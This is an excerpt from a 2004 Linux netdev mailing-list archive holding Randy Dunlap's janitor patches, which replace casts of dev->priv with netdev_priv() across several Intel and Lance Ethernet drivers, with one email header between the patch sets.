speedo_refill_rx_buffers(struct net_device *dev, int force) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); /* Refill the RX ring. */ while ((int)(sp->cur_rx - sp->dirty_rx) > 0 && @@ -1770,7 +1770,7 @@ static void speedo_refill_rx_buffers(str static int speedo_rx(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); int entry = sp->cur_rx % RX_RING_SIZE; int rx_work_limit = sp->dirty_rx + RX_RING_SIZE - sp->cur_rx; int alloc_ok = 1; @@ -1884,7 +1884,7 @@ static int speedo_close(struct net_device *dev) { long ioaddr = dev->base_addr; - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); int i; netdevice_stop(dev); @@ -1962,7 +1962,7 @@ speedo_close(struct net_device *dev) static struct net_device_stats * speedo_get_stats(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; /* Update only if the previous dump finished. */ @@ -1995,7 +1995,7 @@ speedo_get_stats(struct net_device *dev) static int netdev_ethtool_ioctl(struct net_device *dev, void *useraddr) { u32 ethcmd; - struct speedo_private *sp = dev->priv; + struct speedo_private *sp = netdev_priv(dev); if (copy_from_user(ðcmd, useraddr, sizeof(ethcmd))) return -EFAULT; @@ -2070,7 +2070,7 @@ static int netdev_ethtool_ioctl(struct n static int speedo_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; int phy = sp->phy[0] & 0x1f; int saved_acpi; @@ -2121,7 +2121,7 @@ static int speedo_ioctl(struct net_devic */ static void set_rx_mode(struct net_device *dev) { - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; struct descriptor *last_cmd; char new_rx_mode; @@ -2313,7 +2313,7 @@ static void set_rx_mode(struct net_devic static int eepro100_suspend(struct pci_dev *pdev, u32 state) { struct net_device *dev = pci_get_drvdata (pdev); - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; pci_save_state(pdev, sp->pm_state); @@ -2333,7 +2333,7 @@ static int eepro100_suspend(struct pci_d static int eepro100_resume(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata (pdev); - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); long ioaddr = dev->base_addr; pci_restore_state(pdev, sp->pm_state); @@ -2363,7 +2363,7 @@ static int eepro100_resume(struct pci_de static void __devexit eepro100_remove_one (struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata (pdev); - struct speedo_private *sp = (struct speedo_private *)dev->priv; + struct speedo_private *sp = netdev_priv(dev); unregister_netdev(dev); diff -puN drivers/net/eepro.c~net_intel_casts drivers/net/eepro.c --- linux-264-302-priv/drivers/net/eepro.c~net_intel_casts 2004-03-03 11:59:08.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/eepro.c 2004-03-03 12:06:42.000000000 -0800 @@ -662,7 +662,7 @@ static void eepro_recalc (struct net_dev { struct eepro_local * lp; - lp = dev->priv; + lp = netdev_priv(dev); lp->xmt_ram = RAM_SIZE - lp->rcv_ram; if (lp->eepro == LAN595FX_10ISA) { @@ -682,7 +682,7 @@ static void eepro_recalc (struct net_dev /* prints boot-time info */ static void eepro_print_info (struct net_device *dev) { - struct eepro_local * lp = dev->priv; + struct eepro_local * lp = netdev_priv(dev); int i; const char * ifmap[] = {"AUI", "10Base2", "10BaseT"}; @@ -769,7 +769,7 @@ static int __init eepro_probe1(struct ne if ((inb(ioaddr + ID_REG) & R_ROBIN_BITS) != (counter + 0x40)) goto exit; - lp = (struct eepro_local *)dev->priv; + lp = netdev_priv(dev); memset(lp, 0, sizeof(struct eepro_local)); lp->xmt_bar = XMT_BAR_PRO; lp->xmt_lower_limit_reg = XMT_LOWER_LIMIT_REG_PRO; @@ -932,7 +932,7 @@ static int eepro_open(struct net_device unsigned short temp_reg, old8, old9; int irqMask; int i, ioaddr = dev->base_addr; - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); if (net_debug > 3) printk(KERN_DEBUG "%s: entering eepro_open routine.\n", dev->name); @@ -1106,7 +1106,7 @@ static int eepro_open(struct net_device static void eepro_tx_timeout (struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *) dev->priv; + struct eepro_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; /* if (net_debug > 1) */ @@ -1122,7 +1122,7 @@ static void eepro_tx_timeout (struct net static int eepro_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); unsigned long flags; int ioaddr = dev->base_addr; short length = skb->len; @@ -1187,7 +1187,7 @@ eepro_interrupt(int irq, void *dev_id, s return IRQ_NONE; } - lp = (struct eepro_local *)dev->priv; + lp = netdev_priv(dev); spin_lock(&lp->lock); @@ -1235,7 +1235,7 @@ eepro_interrupt(int irq, void *dev_id, s static int eepro_close(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; short temp_reg; @@ -1280,7 +1280,7 @@ static int eepro_close(struct net_device static struct net_device_stats * eepro_get_stats(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); return &lp->stats; } @@ -1290,7 +1290,7 @@ eepro_get_stats(struct net_device *dev) static void set_multicast_list(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; unsigned short mode; struct dev_mc_list *dmi=dev->mc_list; @@ -1424,7 +1424,7 @@ read_eeprom(int ioaddr, int location, st { int i; unsigned short retval = 0; - struct eepro_local *lp = dev->priv; + struct eepro_local *lp = netdev_priv(dev); short ee_addr = ioaddr + lp->eeprom_reg; int read_cmd = location | EE_READ_CMD; short ctrl_val = EECS ; @@ -1468,7 +1468,7 @@ read_eeprom(int ioaddr, int location, st static int hardware_send_packet(struct net_device *dev, void *buf, short length) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; unsigned status, tx_available, last, end; @@ -1553,7 +1553,7 @@ hardware_send_packet(struct net_device * static void eepro_rx(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; short boguscount = 20; short rcv_car = lp->rx_start; @@ -1651,7 +1651,7 @@ eepro_rx(struct net_device *dev) static void eepro_transmit_interrupt(struct net_device *dev) { - struct eepro_local *lp = (struct eepro_local *)dev->priv; + struct eepro_local *lp = netdev_priv(dev); short ioaddr = dev->base_addr; short boguscount = 25; short xmt_status; diff -puN drivers/net/eexpress.c~net_intel_casts drivers/net/eexpress.c --- linux-264-302-priv/drivers/net/eexpress.c~net_intel_casts 2004-03-03 11:59:08.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/eexpress.c 2004-03-03 12:07:35.000000000 -0800 @@ -452,7 +452,7 @@ static int eexp_open(struct net_device * { int ret; unsigned short ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); #if NET_DEBUG > 6 printk(KERN_DEBUG "%s: eexp_open()\n", dev->name); @@ -515,7 +515,7 @@ static int eexp_open(struct net_device * static int eexp_close(struct net_device *dev) { unsigned short ioaddr = dev->base_addr; - struct net_local *lp = dev->priv; + struct net_local *lp = netdev_priv(dev); int irq = dev->irq; @@ -541,7 +541,7 @@ static int eexp_close(struct net_device static struct net_device_stats *eexp_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } @@ -553,7 +553,7 @@ static struct net_device_stats *eexp_sta static void unstick_cu(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short ioaddr = dev->base_addr; if (lp->started) @@ -627,7 +627,7 @@ static void unstick_cu(struct net_device static void eexp_timeout(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); #ifdef CONFIG_SMP unsigned long flags; #endif @@ -667,7 +667,7 @@ static void eexp_timeout(struct net_devi */ static int eexp_xmit(struct sk_buff *buf, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); short length = buf->len; #ifdef CONFIG_SMP unsigned long flags; @@ -728,7 +728,7 @@ static unsigned short eexp_start_irq(str unsigned short status) { unsigned short ack_cmd = SCB_ack(status); - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short ioaddr = dev->base_addr; if ((dev->flags & IFF_UP) && !(lp->started & STARTED_CU)) { short diag_status, tdr_status; @@ -806,7 +806,7 @@ static irqreturn_t eexp_irq(int irq, voi return IRQ_NONE; } - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); ioaddr = dev->base_addr; spin_lock(&lp->lock); @@ -925,7 +925,7 @@ static void eexp_hw_set_interface(struct static void eexp_hw_rx_pio(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short rx_block = lp->rx_ptr; unsigned short boguscount = lp->num_rx_bufs; unsigned short ioaddr = dev->base_addr; @@ -1022,7 +1022,7 @@ static void eexp_hw_rx_pio(struct net_de static void eexp_hw_tx_pio(struct net_device *dev, unsigned short *buf, unsigned short len) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short ioaddr = dev->base_addr; if (LOCKUP16 || lp->width) { @@ -1090,7 +1090,7 @@ static int __init eexp_hw_probe(struct n unsigned int memory_size; int i; unsigned short xsum = 0; - struct net_local *lp = dev->priv; + struct net_local *lp = netdev_priv(dev); printk("%s: EtherExpress 16 at %#x ",dev->name,ioaddr); @@ -1262,7 +1262,7 @@ static unsigned short __init eexp_hw_rea static unsigned short eexp_hw_lasttxstat(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short tx_block = lp->tx_reap; unsigned short status; @@ -1332,7 +1332,7 @@ static unsigned short eexp_hw_lasttxstat static void eexp_hw_txrestart(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short ioaddr = dev->base_addr; lp->last_tx_restart = lp->tx_link; @@ -1377,7 +1377,7 @@ static void eexp_hw_txrestart(struct net static void eexp_hw_txinit(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short tx_block = TX_BUF_START; unsigned short curtbuf; unsigned short ioaddr = dev->base_addr; @@ -1419,7 +1419,7 @@ static void eexp_hw_txinit(struct net_de static void eexp_hw_rxinit(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short rx_block = lp->rx_buf_start; unsigned short ioaddr = dev->base_addr; @@ -1478,7 +1478,7 @@ static void eexp_hw_rxinit(struct net_de static void eexp_hw_init586(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned short ioaddr = dev->base_addr; int i; @@ -1639,7 +1639,7 @@ static void eexp_set_multicast(struct net_device *dev) { unsigned short ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int kick = 0, i; if ((dev->flags & IFF_PROMISC) != lp->was_promisc) { outw(CONF_PROMISC & ~31, ioaddr+SM_PTR); diff -puN drivers/net/lasi_82596.c~net_intel_casts drivers/net/lasi_82596.c --- linux-264-302-priv/drivers/net/lasi_82596.c~net_intel_casts 2004-03-03 11:59:08.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/lasi_82596.c 2004-03-03 12:10:55.000000000 -0800 @@ -426,7 +426,7 @@ static inline void CA(struct net_device static inline void MPU_PORT(struct net_device *dev, int c, dma_addr_t x) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); u32 v = (u32) (c) | (u32) (x); u16 a, b; @@ -481,7 +481,7 @@ static inline int wait_cmd(struct net_de static void i596_display_data(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); struct i596_cmd *cmd; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -541,7 +541,7 @@ static void i596_error(int irq, void *de static inline void init_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = netdev_priv(dev); int i; struct i596_rfd *rfd; struct i596_rbd *rbd; @@ -595,7 +595,7 @@ static inline void init_rx_bufs(struct n static inline void remove_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = netdev_priv(dev); struct i596_rbd *rbd; int i; @@ -612,7 +612,7 @@ static inline void remove_rx_bufs(struct static void rebuild_rx_bufs(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); int i; /* Ensure rx frame/buffer descriptors are tidy */ @@ -633,7 +633,7 @@ static void rebuild_rx_bufs(struct net_d static int init_i596_mem(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); unsigned long flags; disable_irq(dev->irq); /* disable IRQs from LAN */ @@ -727,7 +727,7 @@ failed: static inline int i596_rx(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *)dev->priv; + struct i596_private *lp = netdev_priv(dev); struct i596_rfd *rfd; struct i596_rbd *rbd; int frames = 0; @@ -939,7 +939,7 @@ static inline void i596_reset(struct net static void i596_add_cmd(struct net_device *dev, struct i596_cmd *cmd) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); unsigned long flags; DEB(DEB_ADDCMD,printk("i596_add_cmd cmd_head %p\n", lp->cmd_head)); @@ -987,7 +987,7 @@ static void i596_add_cmd(struct net_devi device list */ static int i596_test(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); volatile int *tint; u32 data; @@ -1041,7 +1041,7 @@ out: static void i596_tx_timeout (struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); /* Transmitter timeout, serious problems. */ DEB(DEB_ERRORS,printk("%s: transmit timed out, status resetting.\n", @@ -1070,7 +1070,7 @@ static void i596_tx_timeout (struct net_ static int i596_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); struct tx_cmd *tx_cmd; struct i596_tbd *tbd; short length = skb->len; @@ -1219,7 +1219,7 @@ static int __devinit i82596_probe(struct dev->priv = (void *)(dev->mem_start); - lp = (struct i596_private *) dev->priv; + lp = netdev_priv(dev); DEB(DEB_INIT,printk ("%s: lp at 0x%08lx (%d bytes), lp->scb at 0x%08lx\n", dev->name, (unsigned long)lp, sizeof(struct i596_private), (unsigned long)&lp->scb)); @@ -1249,7 +1249,7 @@ static irqreturn_t i596_interrupt(int ir return IRQ_NONE; } - lp = (struct i596_private *) dev->priv; + lp = netdev_priv(dev); spin_lock (&lp->lock); @@ -1395,7 +1395,7 @@ static irqreturn_t i596_interrupt(int ir static int i596_close(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); unsigned long flags; netif_stop_queue(dev); @@ -1429,7 +1429,7 @@ static int i596_close(struct net_device static struct net_device_stats * i596_get_stats(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); return &lp->stats; } @@ -1440,7 +1440,7 @@ static struct net_device_stats * static void set_multicast_list(struct net_device *dev) { - struct i596_private *lp = (struct i596_private *) dev->priv; + struct i596_private *lp = netdev_priv(dev); int config = 0, cnt; DEB(DEB_MULTI,printk("%s: set multicast list, %d entries, promisc %s, allmulti %s\n", dev->name, dev->mc_count, dev->flags & IFF_PROMISC ? "ON" : "OFF", dev->flags & IFF_ALLMULTI ? "ON" : "OFF")); @@ -1540,7 +1540,7 @@ lan_init_chip(struct parisc_device *dev) retval = register_netdev(netdevice); if (retval) { - struct i596_private *lp = netdevice->priv; + struct i596_private *lp = netdev_priv(netdevice); printk(KERN_WARNING __FILE__ ": register_netdevice ret'd %d\n", retval); dma_free_noncoherent(lp->dev, sizeof(struct i596_private), (void *)netdevice->mem_start, lp->dma_addr); @@ -1594,7 +1594,7 @@ static void __exit lasi_82596_exit(void) unregister_netdev(netdevice); - lp = (struct i596_private *) netdevice->priv; + lp = netdev_priv(netdevice); dma_free_noncoherent(lp->dev, sizeof(struct i596_private), (void *)netdevice->mem_start, lp->dma_addr); free_netdev(netdevice); _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:19:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:19:35 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LJSKO018009 for ; Thu, 4 Mar 2004 13:19:29 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LJNE28969 for ; Thu, 4 Mar 2004 13:19:23 -0800 Date: Thu, 4 Mar 2004 13:18:31 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in net/ lance drivers Message-Id: <20040304131831.1a33fb96.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3745 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 29833 Lines: 806 | | From: Carlo Perassi | and Randy.Dunlap -- ~Randy linux-264-302-priv-rddunlap/drivers/net/7990.c | 22 +++++----- linux-264-302-priv-rddunlap/drivers/net/a2065.c | 26 ++++++------ linux-264-302-priv-rddunlap/drivers/net/atari_pamsnet.c | 12 ++--- linux-264-302-priv-rddunlap/drivers/net/bagetlance.c | 20 ++++----- linux-264-302-priv-rddunlap/drivers/net/declance.c | 26 ++++++------ linux-264-302-priv-rddunlap/drivers/net/hplance.c | 10 ++-- linux-264-302-priv-rddunlap/drivers/net/sun3lance.c | 18 ++++---- linux-264-302-priv-rddunlap/drivers/net/sunlance.c | 34 ++++++++-------- 8 files changed, 84 insertions(+), 84 deletions(-) diff -puN drivers/net/7990.c~net_lance_casts drivers/net/7990.c --- linux-264-302-priv/drivers/net/7990.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/7990.c 2004-03-03 12:28:46.000000000 -0800 @@ -99,7 +99,7 @@ static void load_csrs (struct lance_priv /* Set up the Lance Rx and Tx rings and the init block */ static void lance_init_ring (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_init_block *aib; /* for LANCE_ADDR computations */ int leptr; @@ -216,7 +216,7 @@ static int init_restart_lance (struct la static int lance_reset (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int status; DECLARE_LL; @@ -236,7 +236,7 @@ static int lance_reset (struct net_devic static int lance_rx (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_rx_desc *rd; unsigned char bits; @@ -316,7 +316,7 @@ static int lance_rx (struct net_device * static int lance_tx (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_tx_desc *td; int i, j; @@ -401,7 +401,7 @@ static irqreturn_t lance_interrupt (int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int csr0; DECLARE_LL; @@ -457,7 +457,7 @@ lance_interrupt (int irq, void *dev_id, int lance_open (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); int res; DECLARE_LL; @@ -474,7 +474,7 @@ int lance_open (struct net_device *dev) int lance_close (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); DECLARE_LL; netif_stop_queue (dev); @@ -499,7 +499,7 @@ void lance_tx_timeout(struct net_device int lance_start_xmit (struct sk_buff *skb, struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; int entry, skblen, len; static int outs; @@ -556,7 +556,7 @@ int lance_start_xmit (struct sk_buff *sk struct net_device_stats *lance_get_stats (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); return &lp->stats; } @@ -564,7 +564,7 @@ struct net_device_stats *lance_get_stats /* taken from the depca driver via a2065.c */ static void lance_load_multicast (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile u16 *mcast_table = (u16 *)&ib->filter; struct dev_mc_list *dmi=dev->mc_list; @@ -601,7 +601,7 @@ static void lance_load_multicast (struct void lance_set_multicast (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; int stopped; DECLARE_LL; diff -puN drivers/net/a2065.c~net_lance_casts drivers/net/a2065.c --- linux-264-302-priv/drivers/net/a2065.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/a2065.c 2004-03-03 12:27:50.000000000 -0800 @@ -164,7 +164,7 @@ static void load_csrs (struct lance_priv /* Setup the Lance Rx and Tx rings */ static void lance_init_ring (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_init_block *aib; /* for LANCE_ADDR computations */ int leptr; @@ -265,7 +265,7 @@ static int init_restart_lance (struct la static int lance_rx (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_regs *ll = lp->ll; volatile struct lance_rx_desc *rd; @@ -342,7 +342,7 @@ static int lance_rx (struct net_device * static int lance_tx (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_regs *ll = lp->ll; volatile struct lance_tx_desc *td; @@ -433,7 +433,7 @@ lance_interrupt (int irq, void *dev_id, dev = (struct net_device *) dev_id; - lp = (struct lance_private *) dev->priv; + lp = netdev_priv(dev); ll = lp->ll; ll->rap = LE_CSR0; /* LANCE Controller Status */ @@ -481,7 +481,7 @@ struct net_device *last_dev = 0; static int lance_open (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; int ret; @@ -506,7 +506,7 @@ static int lance_open (struct net_device static int lance_close (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; netif_stop_queue(dev); @@ -522,7 +522,7 @@ static int lance_close (struct net_devic static inline int lance_reset (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; int status; @@ -545,7 +545,7 @@ static inline int lance_reset (struct ne static void lance_tx_timeout(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; printk(KERN_ERR "%s: transmit timed out, status %04x, reset\n", @@ -556,7 +556,7 @@ static void lance_tx_timeout(struct net_ static int lance_start_xmit (struct sk_buff *skb, struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_regs *ll = lp->ll; volatile struct lance_init_block *ib = lp->init_block; int entry, skblen, len; @@ -624,7 +624,7 @@ static int lance_start_xmit (struct sk_b static struct net_device_stats *lance_get_stats (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); return &lp->stats; } @@ -632,7 +632,7 @@ static struct net_device_stats *lance_ge /* taken from the depca driver */ static void lance_load_multicast (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile u16 *mcast_table = (u16 *)&ib->filter; struct dev_mc_list *dmi=dev->mc_list; @@ -668,7 +668,7 @@ static void lance_load_multicast (struct static void lance_set_multicast (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *) dev->priv; + struct lance_private *lp = netdev_priv(dev); volatile struct lance_init_block *ib = lp->init_block; volatile struct lance_regs *ll = lp->ll; @@ -748,7 +748,7 @@ static int __devinit a2065_init_one(stru } SET_MODULE_OWNER(dev); - priv = dev->priv; + priv = netdev_priv(dev); r1->name = dev->name; r2->name = dev->name; diff -puN drivers/net/atari_pamsnet.c~net_lance_casts drivers/net/atari_pamsnet.c --- linux-264-302-priv/drivers/net/atari_pamsnet.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/atari_pamsnet.c 2004-03-03 12:25:05.000000000 -0800 @@ -667,7 +667,7 @@ struct net_device * __init pamsnet_probe */ static int pamsnet_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (pamsnet_debug > 0) printk("pamsnet_open\n"); @@ -696,7 +696,7 @@ pamsnet_open(struct net_device *dev) { static int pamsnet_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); unsigned long flags; /* Block a timer-based transmit from overlapping. This could better be @@ -742,7 +742,7 @@ pamsnet_send_packet(struct sk_buff *skb, */ static void pamsnet_poll_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int boguscount; int pkt_len; struct sk_buff *skb; @@ -817,7 +817,7 @@ pamsnet_poll_rx(struct net_device *dev) static void pamsnet_tick(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if( pamsnet_debug > 0 && (lp->open_time++ & 7) == 8 ) printk("pamsnet_tick: %ld\n", lp->open_time); @@ -832,7 +832,7 @@ pamsnet_tick(unsigned long data) { */ static int pamsnet_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); if (pamsnet_debug > 0) printk("pamsnet_close, open_time=%ld\n", lp->open_time); @@ -859,7 +859,7 @@ pamsnet_close(struct net_device *dev) { */ static struct net_device_stats *net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } diff -puN drivers/net/bagetlance.c~net_lance_casts drivers/net/bagetlance.c --- linux-264-302-priv/drivers/net/bagetlance.c~net_lance_casts 2004-03-03 12:20:02.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/bagetlance.c 2004-03-03 12:30:25.000000000 -0800 @@ -594,7 +594,7 @@ static int __init lance_probe1( struct n return( 0 ); probe_ok: - lp = (struct lance_private *)dev->priv; + lp = netdev_priv(dev); MEM = (struct lance_memory *)memaddr; IO = lp->iobase = (struct lance_ioreg *)ioaddr; dev->base_addr = (unsigned long)ioaddr; /* informational only */ @@ -736,7 +736,7 @@ static int __init lance_probe1( struct n static int lance_open( struct net_device *dev ) -{ struct lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); struct lance_ioreg *IO = lp->iobase; int i; @@ -778,7 +778,7 @@ static int lance_open( struct net_device static void lance_init_ring( struct net_device *dev ) -{ struct lance_private *lp = (struct lance_private *)dev->priv; +{ struct lance_private *lp = netdev_priv(dev); int i; unsigned offset; @@ -834,7 +834,7 @@ static void lance_init_ring( struct net_ static int lance_start_xmit( struct sk_buff *skb, struct net_device *dev ) -{ struct 